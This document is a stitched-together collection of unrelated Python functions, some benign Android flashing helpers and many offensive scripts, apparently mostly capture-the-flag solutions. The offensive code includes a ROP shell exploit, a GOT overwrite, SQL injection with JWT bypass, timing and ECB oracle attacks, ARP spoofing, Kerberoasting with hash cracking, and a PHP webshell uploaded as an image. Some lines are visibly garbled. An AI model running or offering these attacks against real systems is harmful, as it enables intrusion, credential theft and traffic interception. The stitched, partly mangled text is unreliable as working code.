def process(self): """ Iterate on token_length and find more intresting char """ log.info('Start guessing token ..') self._progress = log.progress('Auth ..') self._m = Manager() self._lock = self._m.Lock() offset = 0 while offset < self._token_length: cost_time = {} with ThreadPoolExecutor(max_workers=self._max_thread) as executor: tokens = ['{}{}'.format(self._token, c) for c in self._charset] tasks = zip(self._charset, executor.map(self.request_wrap, tokens)) for c, t in tasks: cost_time[c] = t best_candidate = max(cost_time, key=cost_time.__getitem__) found_char = best_candidate log.success('Finally Flag: {{:{}<{}}}'.format( self._hidden_char, self._token_length).format(self._token + found_char)) if self._check_manually: log.info('Try again? (Y/N) ') if raw_input().upper().strip() == 'Y': continue offset += 1 self._token += found_char self._progress.success("DONE! {}".format(self._token))
def RunJohn(self, filenName, algoType): isSuccess = False progress = log.progress("Cracking hash from file: " + highlightRed(filenName)) process = subprocess.run((self.johnPath, filenName, algoType, "--wordlist=" + self.wordlistPath), check=True, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL) if ('krb5asrep' in algoType): regexHashUser = r"(.*[^\s-])\s+\(\$krb5\w+\$23\$(\w+-?\w+)@.+\.\w+\)" elif ('krb5tgs' in algoType): regexHashUser = r"(.*[^\s-])\s+\(\?\)" else: log.warning('Fail to detect hash !') return isSuccess output = process.stdout.decode() for output in output.splitlines(): x = re.search(regexHashUser, output) if (x is not None): if ('krb5asrep' in algoType): print("", end='\t') log.success("Cread Found: '" + highlightGreen(x.group(2)) + ":" + highlightGreen(x.group(1)) + "'") isSuccess = True elif ('krb5tgs' in algoType): print("", end='\t') log.success("Cread Found: '" + highlightGreen(x.group(1)) + "'") isSuccess = True else: log.warning('Fail get hash !') progress.success(status='Done') return isSuccess
def pull(self, remote, local): cmd = " ".join(["pull", remote, local]) data = self.adb(cmd) if "pulled." not in data: log.warning("%s pull %s Failed." % (self.serial, remote)) else: log.success("%s pull %s succeed." % (self.serial, remote))
def encrypt(plain_text: bytes, key: bytes, skip_first_round: bool = False) -> bytes: # Check key parameter length key_length = len(key) if (key_length != KEY_LENGTH): log.warning( "Key does not have the correct length: {} != {}".format( KEY_LENGTH, key_length)) exit() else: log.success("Key have the correct length: {} == {}".format( KEY_LENGTH, key_length)) # Check plain text parameter length plain_length = len(plain_text) if (plain_length % CHUNK_LENGTH != 0): log.warning( "Text to encrypt does not have the correct length: {} % {} != 0" .format(plain_length, CHUNK_LENGTH)) exit() else: log.success( "Text to encrypt has the correct length: {} % {} == 0".format( plain_length, CHUNK_LENGTH)) log.info("Text to encrypt is: {}".format( Converter.bytes_to_hex(plain_text))) # Get keys used for encryption keys = BC4Worker._generate_keys(key, plain_length // CHUNK_LENGTH, skip_first_round) # Split text in chunks and encrypt encrypted_text: bytes = bytes() for i in range(0, plain_length, CHUNK_LENGTH): # Get parts that will be XORed plain_part = plain_text[i:i + CHUNK_LENGTH] key_part = keys[i:i + CHUNK_LENGTH] # Encrypt with XOR ciphertext_part = Converter.bytes_to_int( plain_part) ^ Converter.bytes_to_int(key_part) encrypted_text += Converter.int_to_bytes(ciphertext_part) # Log if VERBOSE: log.info("The #{} encryption is {} (meaning {} ^ {})".format( i // CHUNK_LENGTH, Converter.int_to_hex(ciphertext_part), Converter.bytes_to_hex(plain_part), Converter.bytes_to_hex(key_part))) # Log if VERBOSE: log.info("Ciphertext is: {}".format( Converter.bytes_to_hex(encrypted_text))) # Encode encrypted text and return return encrypted_text
def process(self): """ Iterate on token_length and find more intresting char """ log.info("Start guessing token ..") progress = log.progress('Auth ..') for offset in self._get_token_offsets(): timings = [] for i, char in enumerate(self._charset): self._token[offset] = char t1 = self._get_timing() self.request() t2 = self._get_timing() timings.append(t2 - t1) best_candidate = self._charset[timings.index(max(timings))] self._log(progress, offset, char, t1, t2, timings, i, best_candidate) if self._break_on_time != 0: if (max(timings) > min(timings) + self._break_on_time): break found_char = self._charset[timings.index(max(timings))] self._token[offset] = found_char log.success("Found Char: %d:%x:%c - Best: %s - Avg: %s" % (ord(found_char), ord(found_char), found_char, max(timings), self._avg(timings))) progress.success("DONE! %s" % (self.get_token()))
def exploit(base): log.info('Registering user') user = register(base) log.info(f'User: {user}') log.info('Logging in') sess = login(base, user['username'], user['password']) log.info('Delaying session write') thread = do_async(lambda: create_random_note(base, sess, 'my title', 'my content')) time.sleep(1) log.info('Committing account sudoku') session_cookie = delete_me(base, sess) log.info(f'Cookie: {session_cookie}') log.info('Waiting for delayed write') thread.join() log.info('Getting flag note') sess.cookies.set('connect.sid', session_cookie) flag_note = get_note(base, sess, 'flag') if flag_note is None: log.warn('could not get flag') else: flag = flag_note['content'] log.success(f'Flag: {flag}')
def fastboot_reboot(self): cmd = "/usr/bin/fastboot -s %s reboot" % self.serial result = self.host_shell(cmd) if "Finished. Total time:" in result: log.success("fastboot reboot succeed.") sleep(10) else: log.error("fastboot reboot failed.")
def sync_device_to_host(self, device_dir, host_dir): cmd = "adb-sync -s %s --reverse %s %s" % (self.serial, device_dir, host_dir) result = exeute_cmd(cmd) if "Total: " not in result: log.warning("%s sync %s Failed." % (self.serial, device_dir)) else: log.success("%s sync %s succeed." % (self.serial, device_dir))
def attack(C, E): root, found = iroot(C, E) if found: log.info('Successfully found exponent') log.info(root) log.info('Converting data') log.success(ltb(root).decode()) else: log.failure('Cant find exponent')
def _displayWithNmap(uph, dowh, List): log.success( f"{RESET}Total : {GREEN}{uph} up{WHITE}, {RED}{dowh} down{RESET}. ") blen = len([s for s in List if len(s) == len(max(List, key=len))][0]) for _ip, _mac, _vendor, _name in List: if _name == False: _name = "Unknown Name" log.success( f"Found {RESET}({CYAN}{_name}{RESET}) {GREEN}{_ip}{WHITE} → {GREEN}{_mac}{WHITE} ({GREEN}{_vendor}{WHITE}){RESET}" )
def extract(): with log.progress("Extracting RAAS data and full-size maps"): extract_map_info.extract() log.success( "Extraction finished. " "You can generate map tiles now. " "The RAAS data has been saved as raas-data-auto.yaml. " "Make any changes that you want to make to it and then copy it to " "../src/assets/raas-data.yaml")
def push(self, local, remote): cmd = " ".join(["push", local, remote]) data = self.adb(cmd) if "pushed." in data: log.success("%s push %s succeed." % (self.serial, remote)) else: log.warning("%s push %s Failed." % (self.serial, local)) log.info(" retry push..") while self.get_device_state() != "device": sleep(10) self.reset() self.push(local, remote)
def restore(target_ip, host_ip, verbose=True): target_mac = get_mac(target_ip) host_mac = get_mac(host_ip) arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac) send(arp_response, verbose=0, count=7) if verbose: log.success( f"Sent to {WHITE}'{GREEN}{target_ip.rjust(8)}{WHITE}' {YELLOW}→ {WHITE}'{GREEN}{host_ip}{WHITE}' {YELLOW}is-at {WHITE}'{GREEN}{host_mac}{WHITE}'{RESET}" )
def spoof(target_ip, host_ip, verbose=True): target_mac = get_mac(target_ip) arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, op='is-at') send(arp_response, verbose=0) if verbose: self_mac = ARP().hwsrc log.success( f"Sent to {WHITE}'{GREEN}{target_ip}{WHITE}' {YELLOW}→ {WHITE}'{GREEN}{host_ip}{WHITE}' {YELLOW}is-at {WHITE}'{GREEN}{self_mac}{WHITE}'{RESET}" )
def flash_manually_build(self): cmd = [ "cd %s" % self.cfg["original_image_path"], "source build/envsetup.sh", self.cfg["lunch_command"], "/usr/bin/adb -s %s reboot bootloader" % self.serial, "sleep 5", "/usr/bin/fastboot -s %s flashing unlock" % self.serial, "/usr/bin/fastboot -s %s flashall -w" % self.serial ] cmd = "\n".join(cmd) result = exeute_cmd(cmd) log.info(result) log.success("finish flashing manually build image.") sleep(30)
def exploit(host, port): log.info('Creating JWT') token = authn_bypass(f'http://{host}:{port}', additional_data='::txId') log.info(f'Token: {token}') tx_id = create_tx(host, port, token, '__proto__', "'||(select flag from flag)||'") log.info(f'Created transaction: {tx_id}') transaction = get_tx(host, port, token, tx_id) log.info(f'Transaction: {transaction}') flag = transaction['username'][13:] log.success(f'Flag: {flag}')
def choose_alphabet(ciphertext, alphabet): if alphabet is None: log.info('Trying to guess alphabet') ct = filter(lambda c: c in string.letters, ciphertext) if ct.isupper(): log.success('Using uppercase letters') alphabet = string.uppercase elif ct.islower(): log.success('Using lowercase letters') alphabet = string.lowercase if alphabet is None: raise TypeError('no alphabet') return alphabet
def main(): elf = ExploitInfo.elf addr___libc_stack_end = elf.sym['__libc_stack_end'] addr___stack_prot = elf.sym['__stack_prot'] MEM_PROT_FLAG = constants.PROT_READ | constants.PROT_WRITE | constants.PROT_EXEC POP_EAX_RET = 0x80b81c6 POP_EBX_RET = 0x80481c9 POP_ECX_RET = 0x80de955 POP_EDX_RET = 0x806f02a XOR_EAX_EAX_RET = 0x8049303 INC_EAX_RET = 0x807a86f MOV_DWORD_EDX_EAX_RET = 0x80549db POP_ESI_RET = 0x8048433 POP_EDI_RET = 0x8048480 INT_80 = 0x806cc25 PUSH_ESP_RET = 0x080b81d6 rop = ROP(elf) rop.raw(POP_EDX_RET) rop.raw(addr___stack_prot) # edx = &__stack_prot rop.raw(XOR_EAX_EAX_RET) for x in range(MEM_PROT_FLAG): # eax = MEM_PROT_FLAG rop.raw(INC_EAX_RET) rop.raw(MOV_DWORD_EDX_EAX_RET) # __stack_prot = MEM_PROT_FLAG rop.raw(POP_EAX_RET) # rop.raw(addr___libc_stack_end) # eax = &__libc_stack_end rop.call('_dl_make_stack_executable' ) # _dl_make_stack_executable(&__libc_stack_end) rop.raw(PUSH_ESP_RET) p = get_process() payload = 'A' * ExploitInfo.offset_eip payload += rop.chain() payload += ExploitInfo.shellcode_i386 assert ('\x00' not in payload) p.clean() log.info("Sending: %r", payload) p.sendline(payload) p.clean(timeout=0.5) p.clean(timeout=0.5) log.success("Here are your shell!") p.sendline('ls -la') p.interactive() p.close()
def bruteforce_ecb(): BLOCK_SIZE = 16 # CHARSETS = r"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}" CHARSETS = tuple(string.printable.strip()) template = get_message_template() msg_head, msg_medium, msg_tail = template leak_flag = '' # for _ in xrange(2): while True: if '}' in leak_flag: break prefix_len = sum(map(len, [msg_head, msg_medium, leak_flag])) padding_len = (-(prefix_len + 1)) % BLOCK_SIZE padding = '*' * padding_len all_len = prefix_len + 1 + padding_len assert ((all_len % BLOCK_SIZE) == 0) block_id = (all_len // BLOCK_SIZE) - 1 log.info("Block ID : %r", block_id) encrypted_text = query(padding) pprint(encrypted_text) precise_part = encrypted_text[block_id] log.info('precise_part: %r', precise_part) giveme_log(padding, template, BLOCK_SIZE) padding_len = (-prefix_len + 1) % BLOCK_SIZE + BLOCK_SIZE padding = msg_medium[(-padding_len + 3):] fake_id = ( (len(msg_head) + padding_len + len(leak_flag) + 1) // 16) - 1 log.info("Fake ID : %r", fake_id) for c in CHARSETS: payload = padding + leak_flag + c #giveme_log(payload, template, BLOCK_SIZE) enc = query(payload) part = enc[fake_id] if part == precise_part: pprint(enc) leak_flag += c log.success("FLAG updated: %r", leak_flag) break else: break return leak_flag
def ConnectServerLdap(self, ServerName, ipAddress, username, password, isSSL): log.info("Domain name: " + ServerName) if (username == None): log.info("Username: "******"Anonymous")) else: log.info("Username: "******"Unable to resolve domain name: " + ServerName + " !\n") exit(0) log.info("IP Address: " + ipAddress) if (isSSL): ldap.set_option(ldap.OPT_X_TLS_REQUIRE_CERT, ldap.OPT_X_TLS_NEVER) connect = ldap.initialize('ldaps://' + ipAddress) log.info("SSL connect: " + highlightGreen("TRUE")) else: connect = ldap.initialize('ldap://' + ipAddress) log.info("SSL connect: " + highlightRed("FALSE")) print() connect.protocol_version = self.ldapVerson try: if (username == None and password == None): connect.simple_bind_s(username, password) else: if (password == None): password == '' connect.simple_bind_s(username, password) except ldap.INVALID_CREDENTIALS: log.failure('Invalid credentials !\n') exit(0) except ldap.SERVER_DOWN: log.failure("Server is down !\n\n") exit(0) except ldap.LDAPError as error: if type(error.message) == dict and error.message.has_key('desc'): log.failure("Other LDAP error: " + error.message['desc'] + " !\n") else: log.failure("Other LDAP error: " + error + " !\n") self.ldapCon = None exit(0) log.success("Succesfully Authenticated With LDAP") self.ldapCon = connect return
def main(): if len(argv) == 1: io = process("./a.out") else: io = remote(argv[1], int(argv[2])) log.info("get output from mt19937") out = get_output(io, 640) log.info("clone mt19937 from output") new_iter = iter(clone_mt19937(out)) io.sendline("2") log.info("send answer") io.sendline(str(next(new_iter))) s = str(io.recvuntil("4) ")) s = str(io.recvuntil("4) ")) log.success(re.search("ACTF{.*}", s).group(0))
def hook_win(state): if DEBUG: log.info("Reached end, solving...") with m.locked_context() as context: buff = state.cpu.read_bytes( context["buffer_addr"], 11) # read the address of the symbolic buffer flag = "".join( chr(state.solve_one(x)) for x in buff) # solve the symbolic values and join them if not DEBUG: p.success( "Finished. Flag is: {0}".format(flag)) # print the flag :) else: log.success("Flag is: {0}".format(flag)) m.terminate() # terminate Manticore
def flash_santizier_image(self): log.info("start flashing sanitizier image.") cmd = [ "cd %s\n" % self.cfg["sanitizer_image_path"], "source build/envsetup.sh", self.cfg["lunch_command"], "/usr/bin/adb -s %s reboot bootloader" % self.serial, "sleep 5", "/usr/bin/fastboot -s %s flashing unlock" % self.serial, "/usr/bin/fastboot -s %s flash userdata" % self.serial, "/usr/bin/fastboot -s %s flashall" % self.serial ] cmd = "\n".join(cmd) result = exeute_cmd(cmd) log.info(result) # wait until boot completed log.success("finish flashing sanitizier image.") sleep(30)
def ASREP_Roastable(self, outputFile="ASREPHash.hash"): printTitle("[-] AS-REP Roastable Users") isSuccess = False OBJECT_TO_SEARCH = '(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' result = self.ldapEnum.SearchServerLdapUser(OBJECT_TO_SEARCH) for info in result: baseName = info[0] username = info[1] log.info("Username: "******"Hash added to file: " + outputFile) return isSuccess
def wipe_userdata_and_cache(self): log.info("start wiping userdata and cache.") cmd = [ "/usr/bin/adb -s %s reboot bootloader" % self.serial, "sleep 5", "/usr/bin/fastboot -s %s boot %s" % (self.serial, self.cfg["twrp_img_path"]), "sleep 25", "/usr/bin/adb -s %s shell recovery --wipe_data" % self.serial, ] cmd = "\n".join(cmd) result = exeute_cmd(cmd) log.info(result) if "I:AB_OTA_UPDATER := true" in result: log.success("wiping userdata and cache succeed.") else: log.warning("wiping userdata and cache failed.") # wait until boot completed sleep(30)
def leak(self, close=True, trim=True): """ :param close: :param trim: :return: """ current_round = 0 total_leak_counter = 0 leak_adjust_switch = False while True: log.info("Round: {}".format(current_round)) round_hits = 0 for _ in range(self.leak_attempts): leaked = self.leak_pointer(close=close, trim=trim) if leaked is not None: for pointer in leaked: log.info("-> 0x{}".format(pointer)) self.leakedlist.append(pointer) round_hits += 1 if round_hits == 0: log.warning("unable to leak valid pointers during round, " "trying again after {} seconds".format( self.leak_wait_time)) time.sleep(self.leak_wait_time) if leak_adjust_switch: leak_adjust_switch = False self.leak_attempts -= 10 else: leak_adjust_switch = True self.leak_attempts += 10 else: total_leak_counter += round_hits if current_round != self.leak_rounds: current_round += 1 else: break log.success("leaked {} possible pointers!".format(total_leak_counter)) return self.leakedlist
def Kerberoastable(self, username, password, outputFile="kerbHash.hash"): printTitle("[-] Kerberoastable Users") isSuccess = False OBJECT_TO_SEARCH = '(&(samAccountType=805306368)(servicePrincipalName=*)(!(samAccountName=krbtgt))(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' result = self.ldapEnum.SearchServerLdapUser(OBJECT_TO_SEARCH) for info in result: baseName = info[0] targetUsername = info[1] log.info("Username: "******"Hash added to file: " + outputFile) return isSuccess
def main(): p = remote(ExploitInfo.host, ExploitInfo.port) exit_got = ExploitInfo.elf.got['exit'] win_addr = ExploitInfo.elf.sym['win'] log.info('GOT exit : 0x%x', exit_got) log.info('ADDR win : 0x%x', win_addr) p.clean() p.sendline(hex(exit_got)) sleep(1) p.sendline(hex(win_addr)) p.clean() log.success("Rejoice me!") p.sendline('ls -l') p.interactive()
def find_tricky_rng_seed(): # Hand-crafted so you don't have to run Bitcoin Cash before: return bytes.fromhex( "693e14ccadf6c831ea694f6d8651d6c912c4377ecc22b2f498d2ee60b66c53bd") # Find a seed such that we generate a secret == 0 rng = Rng() for block, base in tricky_sha_inputs(): seed = long_to_bytes(bytes_to_long(base) - 2, 32) rng.set_seed(seed) prime = rng.getbits(512) secret = rng.getbits() assert secret == 0 strong_prime = 2 * prime + 1 if prime % 5 == 4 and is_prime(prime) and is_prime(strong_prime): log.success(f"Seed {seed.hex()} is suitable! (from block {block})") return seed raise Exception("Could not find a suitable seed!")
def upload_shell(): log.info("Uploading webshell...") image = { 'file': ('chronos.php.png', '<?php echo shell_exec($_REQUEST["cmd"]); ?>', 'image/png', { 'Content-Disposition': 'form-data' }) } data = {'pupload': 'upload'} r = requests.post(url=f"{host}/upload.php?id=chronos", timeout=15, files=image, data=data, verify=False) #, proxies={'http':'127.0.0.1:8080'}) if r.status_code != 200: raise Exception("Uploading shell did not work!") if not verify_shell(): raise Exception("Did not upload shell!") log.success("Uploaded webshell!")
def crack_rsa(n,e = None,c = None): """ Tries all currently implemented attacks on RSA key. """ log.info("Cracking RSA key") # Wieners attack if e != None: log.waitfor("Trying Wiener's attack") res = wieners_attack(n,e) if res != None: log.succeeded("success!") log.success("Factors: %d %d" % res) return else: log.failed() # Factor log.waitfor("Trying to factor...") res = factor(n) if res != None: p, q = res log.succeeded("success!") log.success("Factors: %d %d" % (p, q)) if e != None: d = calculate_private_key(p,q,e) log.success("d = %d" % d) if c != None: log.info("Possible message: %s" % int2bytes(decrypt(c,d,n))) return else: log.failed("failed")